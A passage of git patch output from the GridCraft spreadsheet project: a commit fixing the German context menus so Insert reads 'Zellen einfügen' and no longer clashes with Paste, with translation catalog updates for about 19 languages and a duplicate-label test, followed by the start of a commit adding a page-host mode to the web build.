ink strokes and Ink to Shape. Task panes: Comments (threaded replies, resolve), Watch Window, Selection, Format Chart. -- Charts: column, bar, line, area, pie, doughnut, scatter, bubble, radar, histogram, waterfall, - funnel, treemap, sunburst, box & whisker, stock and combo charts; sparklines. +- Charts: column, bar, line, area, pie, doughnut (one concentric ring per series), scatter, + bubble, radar, histogram, waterfall, funnel, treemap, sunburst, box & whisker, stock and combo + charts; sparklines. - UI (egui): Excel-style title bar with Quick Access Toolbar and AutoSave, the full ribbon with galleries (cell styles, table styles, colour palettes, conditional formatting menus), contextual Table/Chart Design tabs, formula bar with Name Box, virtualised grid (smooth From cb059716592935b9b0b9542b7e80d34a4748631e Mon Sep 17 00:00:00 2001 From: Zinadin Zidan Date: Thu, 5 Nov 2026 11:47:39 +0600 Subject: [PATCH 152/167] =?UTF-8?q?i18n:=20German=20context=20menus'=20Ins?= =?UTF-8?q?ert=20reads=20"Zellen=20einf=C3=BCgen",=20not=20a=20second=20"E?= =?UTF-8?q?inf=C3=BCgen"=20(#2874)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit German showed "Einfügen" for Paste and again for Insert in the cell menu ("Einfügen…") and the row and column header menus ("Einfügen"). The cell menu's Insert… now reads "Zellen einfügen…", as Excel's German menu does. The header menus' Insert gets its own key, "Header Menu|Insert", German "Zellen einfügen"; the plain "Insert" stays as the Insert dialog's title and button use it, and every other catalog gets the new key with the text it shows today. A test reads the three menus' items from menus.rs and checks that no two read alike in German. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/grid/menus.rs | 4 +-- crates/ui-egui/src/grid/tests.rs | 46 ++++++++++++++++++++++++++++++++ crates/ui-egui/src/i18n/cs.rs | 1 + crates/ui-egui/src/i18n/de.rs | 3 ++- crates/ui-egui/src/i18n/el.rs | 1 + crates/ui-egui/src/i18n/es.rs | 1 + crates/ui-egui/src/i18n/fr.rs | 1 + crates/ui-egui/src/i18n/it.rs | 1 + crates/ui-egui/src/i18n/ja.rs | 1 + crates/ui-egui/src/i18n/ko.rs | 1 + crates/ui-egui/src/i18n/nl.rs | 1 + crates/ui-egui/src/i18n/pl.rs | 1 + crates/ui-egui/src/i18n/pt.rs | 1 + crates/ui-egui/src/i18n/ro.rs | 1 + crates/ui-egui/src/i18n/ru.rs | 1 + crates/ui-egui/src/i18n/sr.rs | 1 + crates/ui-egui/src/i18n/tr.rs | 1 + crates/ui-egui/src/i18n/uk.rs | 1 + crates/ui-egui/src/i18n/vi.rs | 1 + crates/ui-egui/src/i18n/zh.rs | 1 + 20 files changed, 67 insertions(+), 3 deletions(-) diff --git a/crates/ui-egui/src/grid/menus.rs b/crates/ui-egui/src/grid/menus.rs index 575dac504..e9ee1a976 100644 --- a/crates/ui-egui/src/grid/menus.rs +++ b/crates/ui-egui/src/grid/menus.rs @@ -496,7 +496,7 @@ pub(super) fn header_menu(app: &mut SheetApp, ui: &mut egui::Ui, was_open: bool) ("Copy", "edit.copy"), ("Paste", "edit.paste"), ("-", ""), - ("Insert", "home.insertRows"), + ("Header Menu|Insert", "home.insertRows"), ("Delete", "home.deleteRows"), ("Clear Contents", "edit.clearContents"), ("-", ""), @@ -513,7 +513,7 @@ pub(super) fn header_menu(app: &mut SheetApp, ui: &mut egui::Ui, was_open: bool) ("Copy", "edit.copy"), ("Paste", "edit.paste"), ("-", ""), - ("Insert", "home.insertColumns"), + ("Header Menu|Insert", "home.insertColumns"), ("Delete", "home.deleteColumns"), ("Clear Contents", "edit.clearContents"), ("-", ""), diff --git a/crates/ui-egui/src/grid/tests.rs b/crates/ui-egui/src/grid/tests.rs index 74abfc861..427c67629 100644 --- a/crates/ui-egui/src/grid/tests.rs +++ b/crates/ui-egui/src/grid/tests.rs @@ -180,6 +180,52 @@ fn filter_menu_uses_the_table_whose_header_was_clicked() { assert_eq!(filter_table_range(&sh, 1, 4), None); } +/// The `("Label", "id")` keys written in `src`, without separators. +fn menu_labels(src: &str) -> Vec<&str> { + src.split("(\"").skip(1).filter_map(|rest| rest.split_once("\", \"").map(|(label, _)| label)).filter(|label| *label != "-").collect() +} + +/// The source of `menus.rs` from `start` to the first `end` after it. +fn menu_source<'a>(src: &'a str, start: &str, end: &str) -> &'a str { + let from = src.find(start).unwrap_or_else(|| panic!("{start:?} not in menus.rs")); + let rest = &src[from..]; + &rest[..rest.find(end).unwrap_or_else(|| panic!("{end:?} not after {start:?}"))] +} + +/// German read "Einfügen" for Paste and "Einfügen…"/"Einfügen" for Insert in the same menu +/// (#2874): no two items of the cell, row header or column header menu may read alike, ignoring +/// case and a trailing ellipsis. The items are read from `menus.rs`, so new ones are checked too. +#[test] +fn german_context_menus_have_no_two_items_alike() { + use crate::i18n::Language; + let src = include_str!("menus.rs"); + let cell = menu_labels(menu_source(src, "fn context_menu(", "let lang =")); + let (rows, columns) = + menu_source(src, "fn header_menu(", "let lang =").split_once("} else {").expect("header menu has a rows and a columns list"); + let insert_copied = menu_labels(menu_source(src, "fn insert_copied_item(", "\n}")); + assert_eq!(insert_copied.len(), 3, "{insert_copied:?}"); + for (menu, keys) in [("cell", cell), ("row header", menu_labels(rows)), ("column header", menu_labels(columns))] { + assert!(keys.contains(&"Paste") && keys.len() > 8, "{menu} menu not read from menus.rs: {keys:?}"); + // A menu holds at most one Insert Copied/Cut Cells entry. + for extra in &insert_copied { + let mut seen: Vec<(String, &str)> = Vec::new(); + for key in keys.iter().chain([extra]) { + let shown = Language::De.tr(key).trim_end_matches('…').trim().to_lowercase(); + if let Some((_, other)) = seen.iter().find(|(text, _)| *text == shown) { + panic!("German {menu} menu shows {key:?} and {other:?} both as {shown:?}"); + } + seen.push((shown, key)); + } + } + } + assert_eq!(Language::De.tr("Insert…"), "Zellen einfügen…"); + assert_eq!(Language::De.tr("Header Menu|Insert"), "Zellen einfügen"); + // Only German changed: the header menu's Insert reads as the plain Insert everywhere else. + for language in Language::ALL.into_iter().filter(|l| *l != Language::De) { + assert_eq!(language.tr("Header Menu|Insert"), language.tr("Insert"), "{}", language.code()); + } +} + #[test] fn cell_text_y_moves_monotonically_in_standard_and_tall_rows() { let rect_std = Rect::from_min_max(pos2(0.0, 0.0), pos2(100.0, 20.0)); diff --git a/crates/ui-egui/src/i18n/cs.rs b/crates/ui-egui/src/i18n/cs.rs index 58d308413..39e6337dd 100644 --- a/crates/ui-egui/src/i18n/cs.rs +++ b/crates/ui-egui/src/i18n/cs.rs @@ -57,6 +57,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Podokno\nformátu", "Format" => "Formát", "Insert" => "Vložit", + "Header Menu|Insert" => "Vložit", "Insert Cells…" => "Vložit buňky…", "Delete" => "Odstranit", "Delete Cells…" => "Odstranit buňky…", diff --git a/crates/ui-egui/src/i18n/de.rs b/crates/ui-egui/src/i18n/de.rs index 2e6ba713f..f136e483b 100644 --- a/crates/ui-egui/src/i18n/de.rs +++ b/crates/ui-egui/src/i18n/de.rs @@ -57,6 +57,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Format-\nbereich", "Format" => "Format", "Insert" => "Einfügen", + "Header Menu|Insert" => "Zellen einfügen", "Insert Cells…" => "Zellen einfügen…", "Delete" => "Löschen", "Select Data…" => "Daten auswählen…", @@ -476,7 +477,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { // grid.rs cell and row/column header context menus. "Cut" => "Ausschneiden", "Copy" => "Kopieren", - "Insert…" => "Einfügen…", + "Insert…" => "Zellen einfügen…", "Delete…" => "Löschen…", "Filter by Selected Cell's Value" => "Nach Wert der gewählten Zelle filtern", "New Comment" => "Neuer Kommentar", diff --git a/crates/ui-egui/src/i18n/el.rs b/crates/ui-egui/src/i18n/el.rs index 218fa5a6f..dc57982c7 100644 --- a/crates/ui-egui/src/i18n/el.rs +++ b/crates/ui-egui/src/i18n/el.rs @@ -56,6 +56,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Παράθυρο\nμορφοποίησης", "Format" => "Μορφοποίηση", "Insert" => "Εισαγωγή", + "Header Menu|Insert" => "Εισαγωγή", "Insert Cells…" => "Εισαγωγή κελιών…", "Delete" => "Διαγραφή", "Delete Cells…" => "Διαγραφή κελιών…", diff --git a/crates/ui-egui/src/i18n/es.rs b/crates/ui-egui/src/i18n/es.rs index b6adcf774..3c15a16b1 100644 --- a/crates/ui-egui/src/i18n/es.rs +++ b/crates/ui-egui/src/i18n/es.rs @@ -60,6 +60,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Panel\nde formato", "Format" => "Formato", "Insert" => "Insertar", + "Header Menu|Insert" => "Insertar", "Insert Cells…" => "Insertar celdas…", "Delete" => "Eliminar", "Delete Cells…" => "Eliminar celdas…", diff --git a/crates/ui-egui/src/i18n/fr.rs b/crates/ui-egui/src/i18n/fr.rs index e11ef4599..3e95d4b72 100644 --- a/crates/ui-egui/src/i18n/fr.rs +++ b/crates/ui-egui/src/i18n/fr.rs @@ -67,6 +67,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Volet\nFormat", "Format" => "Format", "Insert" => "Insertion", + "Header Menu|Insert" => "Insertion", "Insert Cells…" => "Insérer des cellules…", "Delete" => "Supprimer", "Delete Cells…" => "Supprimer des cellules…", diff --git a/crates/ui-egui/src/i18n/it.rs b/crates/ui-egui/src/i18n/it.rs index 9a371e673..3ad0ff328 100644 --- a/crates/ui-egui/src/i18n/it.rs +++ b/crates/ui-egui/src/i18n/it.rs @@ -60,6 +60,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Riquadro\nFormato", "Format" => "Formato", "Insert" => "Inserisci", + "Header Menu|Insert" => "Inserisci", "Insert Cells…" => "Inserisci celle…", "Delete" => "Elimina", "Delete Cells…" => "Elimina celle…", diff --git a/crates/ui-egui/src/i18n/ja.rs b/crates/ui-egui/src/i18n/ja.rs index 47fd0e9f3..19fc85f02 100644 --- a/crates/ui-egui/src/i18n/ja.rs +++ b/crates/ui-egui/src/i18n/ja.rs @@ -64,6 +64,7 @@ pub(super) const CORE: &[(&str, &str)] = &[ ("Format\nPane", "書式ウィンドウ"), ("Format", "書式"), ("Insert", "挿入"), + ("Header Menu|Insert", "挿入"), ("Insert Cells…", "セルの挿入…"), ("Delete", "削除"), ("Delete Cells…", "セルの削除…"), diff --git a/crates/ui-egui/src/i18n/ko.rs b/crates/ui-egui/src/i18n/ko.rs index 906dea54f..8c28be26e 100644 --- a/crates/ui-egui/src/i18n/ko.rs +++ b/crates/ui-egui/src/i18n/ko.rs @@ -62,6 +62,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "서식\n창", "Format" => "서식", "Insert" => "삽입", + "Header Menu|Insert" => "삽입", "Insert Cells…" => "셀 삽입…", "Delete" => "삭제", "Delete Cells…" => "셀 삭제…", diff --git a/crates/ui-egui/src/i18n/nl.rs b/crates/ui-egui/src/i18n/nl.rs index b1d415211..b5cddb88d 100644 --- a/crates/ui-egui/src/i18n/nl.rs +++ b/crates/ui-egui/src/i18n/nl.rs @@ -61,6 +61,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Opmaak-\nvenster", "Format" => "Opmaak", "Insert" => "Invoegen", + "Header Menu|Insert" => "Invoegen", "Insert Cells…" => "Cellen invoegen…", "Delete" => "Verwijderen", "Delete Cells…" => "Cellen verwijderen…", diff --git a/crates/ui-egui/src/i18n/pl.rs b/crates/ui-egui/src/i18n/pl.rs index ad9c254c1..f2bfd72c7 100644 --- a/crates/ui-egui/src/i18n/pl.rs +++ b/crates/ui-egui/src/i18n/pl.rs @@ -56,6 +56,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Okienko\nformatowania", "Format" => "Formatuj", "Insert" => "Wstaw", + "Header Menu|Insert" => "Wstaw", "Insert Cells…" => "Wstaw komórki…", "Delete" => "Usuń", "Delete Cells…" => "Usuń komórki…", diff --git a/crates/ui-egui/src/i18n/pt.rs b/crates/ui-egui/src/i18n/pt.rs index f78ef4cf5..d525f027e 100644 --- a/crates/ui-egui/src/i18n/pt.rs +++ b/crates/ui-egui/src/i18n/pt.rs @@ -59,6 +59,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Painel de\nFormatação", "Format" => "Formatar", "Insert" => "Inserir", + "Header Menu|Insert" => "Inserir", "Insert Cells…" => "Inserir Células…", "Delete" => "Excluir", "Delete Cells…" => "Excluir Células…", diff --git a/crates/ui-egui/src/i18n/ro.rs b/crates/ui-egui/src/i18n/ro.rs index 738fc554f..66eb854b7 100644 --- a/crates/ui-egui/src/i18n/ro.rs +++ b/crates/ui-egui/src/i18n/ro.rs @@ -63,6 +63,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Panou\nformatare", "Format" => "Format", "Insert" => "Inserare", + "Header Menu|Insert" => "Inserare", "Insert Cells…" => "Inserare celule…", "Delete" => "Ștergere", "Delete Cells…" => "Ștergere celule…", diff --git a/crates/ui-egui/src/i18n/ru.rs b/crates/ui-egui/src/i18n/ru.rs index 60141a853..00a3062bd 100644 --- a/crates/ui-egui/src/i18n/ru.rs +++ b/crates/ui-egui/src/i18n/ru.rs @@ -62,6 +62,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Область\nформатирования", "Format" => "Формат", "Insert" => "Вставить", + "Header Menu|Insert" => "Вставить", "Insert Cells…" => "Вставить ячейки…", "Delete" => "Удалить", "Delete Cells…" => "Удалить ячейки…", diff --git a/crates/ui-egui/src/i18n/sr.rs b/crates/ui-egui/src/i18n/sr.rs index d02c66bb8..9254dc938 100644 --- a/crates/ui-egui/src/i18n/sr.rs +++ b/crates/ui-egui/src/i18n/sr.rs @@ -63,6 +63,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Okno za\noblikovanje", "Format" => "Oblikovanje", "Insert" => "Umetni", + "Header Menu|Insert" => "Umetni", "Insert Cells…" => "Umetni ćelije…", "Delete" => "Obriši", "Delete Cells…" => "Obriši ćelije…", diff --git a/crates/ui-egui/src/i18n/tr.rs b/crates/ui-egui/src/i18n/tr.rs index a58505848..c8da06cb1 100644 --- a/crates/ui-egui/src/i18n/tr.rs +++ b/crates/ui-egui/src/i18n/tr.rs @@ -59,6 +59,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Biçim\nBölmesi", "Format" => "Biçim", "Insert" => "Ekle", + "Header Menu|Insert" => "Ekle", "Insert Cells…" => "Hücre Ekle…", "Delete" => "Sil", "Delete Cells…" => "Hücreleri Sil…", diff --git a/crates/ui-egui/src/i18n/uk.rs b/crates/ui-egui/src/i18n/uk.rs index 96070eaaf..35fc9f0f7 100644 --- a/crates/ui-egui/src/i18n/uk.rs +++ b/crates/ui-egui/src/i18n/uk.rs @@ -58,6 +58,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Область\nформатування", "Format" => "Формат", "Insert" => "Вставити", + "Header Menu|Insert" => "Вставити", "Insert Cells…" => "Вставити комірки…", "Delete" => "Видалити", "Delete Cells…" => "Видалити комірки…", diff --git a/crates/ui-egui/src/i18n/vi.rs b/crates/ui-egui/src/i18n/vi.rs index 7a188a08e..8cb5a32ac 100644 --- a/crates/ui-egui/src/i18n/vi.rs +++ b/crates/ui-egui/src/i18n/vi.rs @@ -64,6 +64,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "Ngăn\nđịnh dạng", "Format" => "Định dạng", "Insert" => "Chèn", + "Header Menu|Insert" => "Chèn", "Insert Cells…" => "Chèn ô…", "Delete" => "Xóa", "Delete Cells…" => "Xóa ô…", diff --git a/crates/ui-egui/src/i18n/zh.rs b/crates/ui-egui/src/i18n/zh.rs index 601e0a1bb..e71a0df3f 100644 --- a/crates/ui-egui/src/i18n/zh.rs +++ b/crates/ui-egui/src/i18n/zh.rs @@ -62,6 +62,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Format\nPane" => "格式\n窗格", "Format" => "格式", "Insert" => "插入", + "Header Menu|Insert" => "插入", "Insert Cells…" => "插入单元格…", "Delete" => "删除", "Delete Cells…" => "删除单元格…", From d628abb7b019cbb9e2230b93d4f2c8be4774b98f Mon Sep 17 00:00:00 2001 From: Helen Kwok <107752876+helenkwok@users.noreply.github.com> Date: Mon, 26 Oct 2026 08:53:11 +1030 Subject: [PATCH 153/167] Web: page host mode, so a page can host GridCraft in its own document (#2592) data-host="page" on the canvas opts a page that loads the module into its own document into the host bridge. The ?host=parent messages travel as non-bubbling CustomEvents on the canvas; Bridge holds a Transport (Parent or Page) and shares the save, dirty and ready logic. Unframed ?host=parent still gets no bridge. Hosting guide documents both modes. --- apps/gridcraft-web/Cargo.toml | 2 +- apps/gridcraft-web/src/host.rs | 184 ++++++++++++++++++++++------- apps/gridcraft-web/src/hostmode.rs | 45 +++++++ apps/gridcraft-web/src/main.rs | 12 +- apps/gridcraft-web/src/web.rs | 15 ++- packaging/web/README.md | 72 +++++++++++ 6 files changed, 279 insertions(+), 51 deletions(-) create mode 100644 apps/gridcraft-web/src/hostmode.rs diff --git a/apps/gridcraft-web/Cargo.toml b/apps/gridcraft-web/Cargo.toml index 41059d379..e384ffe09 100644 --- a/apps/gridcraft-web/Cargo.toml +++ b/apps/gridcraft-web/Cargo.toml @@ -26,4 +26,4 @@ rfd = { workspace = true } wasm-bindgen = "0.2" wasm-bindgen-futures = "0.4" js-sys = "0.3" -web-sys = { version = "0.3", features = ["Window", "Document", "Element", "HtmlElement", "HtmlCanvasElement", "HtmlAnchorElement", "HtmlIFrameElement", "Blob", "BlobPropertyBag", "Url", "Location", "CssStyleDeclaration", "Clipboard", "ClipboardItem", "Navigator", "MessageEvent", "UrlSearchParams", "AddEventListenerOptions", "Storage"] } +web-sys = { version = "0.3", features = ["Window", "Document", "Element", "Event", "EventTarget", "HtmlElement", "HtmlCanvasElement", "HtmlAnchorElement", "HtmlIFrameElement", "Blob", "BlobPropertyBag", "Url", "Location", "CssStyleDeclaration", "Clipboard", "ClipboardItem", "Navigator", "MessageEvent", "UrlSearchParams", "AddEventListenerOptions", "Storage", "CustomEvent", "CustomEventInit"] } diff --git a/apps/gridcraft-web/src/host.rs b/apps/gridcraft-web/src/host.rs index 2286023e5..8130d2682 100644 --- a/apps/gridcraft-web/src/host.rs +++ b/apps/gridcraft-web/src/host.rs @@ -1,5 +1,10 @@ -//! The `postMessage` bridge to a same-origin parent page (`?host=parent`), for pages that embed -//! GridCraft in an `